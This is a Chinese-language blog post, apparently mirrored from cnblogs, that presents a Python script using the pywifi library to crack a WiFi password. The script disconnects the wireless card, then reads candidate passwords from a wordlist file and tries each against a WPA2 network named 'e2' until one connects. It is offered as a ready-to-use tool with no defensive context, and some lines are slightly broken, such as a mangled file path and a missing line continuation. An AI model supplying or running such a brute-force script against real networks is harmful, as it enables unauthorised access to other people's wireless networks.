zoukankan      html  css  js  c++  java
  • python破解wifi密码

    1.>安装常用模块和库

    time、pywifi等等

    2.>编写代码

    #!/usr/bin/env python
    #-*- coding: UTF-8 -*-
    
    import time  # 时间
    import pywifi  # 破解wifi
    from pywifi import const  # 引用一些定义
    from asyncio.tasks import sleep
    
    
    class PoJie():
        def __init__(self, path):
            self.file = open(path, "r", errors="ignore")
            wifi = pywifi.PyWiFi()  # 抓取网卡接口
            self.iface = wifi.interfaces()[0]  # 抓取第一个无限网卡
            self.iface.disconnect()  # 测试链接断开所有链接
    
            time.sleep(1)  # 休眠1秒
    
            # 测试网卡是否属于断开状态,
            assert self.iface.status() in 
                   [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    
        def readPassWord(self):
            print("开始破解:")
            while True:
    
                try:
                    myStr = self.file.readline()
                    if not myStr:
                        break
                    bool1 = self.test_connect(myStr)
                    if bool1:
                        print("密码正确:", myStr)
                        break
                    else:
                        print("密码错误:" + myStr)
                    sleep(3)
                except:
                    continue
    
        def test_connect(self, findStr):  # 测试链接
    
            profile = pywifi.Profile()  # 创建wifi链接文件
            profile.ssid = "e2"  # wifi名称
            profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放,
            profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
            profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
            profile.key = findStr  # 密码
    
            self.iface.remove_all_network_profiles()  # 删除所有的wifi文件
            tmp_profile = self.iface.add_network_profile(profile)  # 设定新的链接文件
            self.iface.connect(tmp_profile)  # 链接
            time.sleep(5)
            if self.iface.status() == const.IFACE_CONNECTED:  # 判断是否连接上
                isOK = True
            else:
                isOK = False
            self.iface.disconnect()  # 断开
            time.sleep(1)
            # 检查断开状态
            assert self.iface.status() in 
                   [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    
            return isOK
    
        def __del__(self):
            self.file.close()
    
    
    path = r"C:UsersAdministratorDesktopcsdnwifi.txt"
    start = PoJie(path)
    start.readPassWord()

    备注:路径要跟距自己的情况来写,哪有不对的再改改。。

  • 相关阅读:
    HTML(图像img、表格table、列表)
    HTML(标题h、段落p、文本格式化、链接a、头部head)
    List的复制 (浅拷贝与深拷贝)
    最新CentOS6.5安装Docker, 使用阿里云源下载(亲测)
    VirtualBox安装CentOS6.5
    P1010 幂次方 题解
    P1469 找筷子 题解
    P1866 编号 题解
    EasyNVR通道离线但视频流可正常播放是什么原因导致的?
    EasyNVR通过国标GB28181协议级联出现报错及播放不了的问题调整
  • 原文地址:https://www.cnblogs.com/lfl17718347843/p/12342191.html
Copyright © 2011-2022 走看看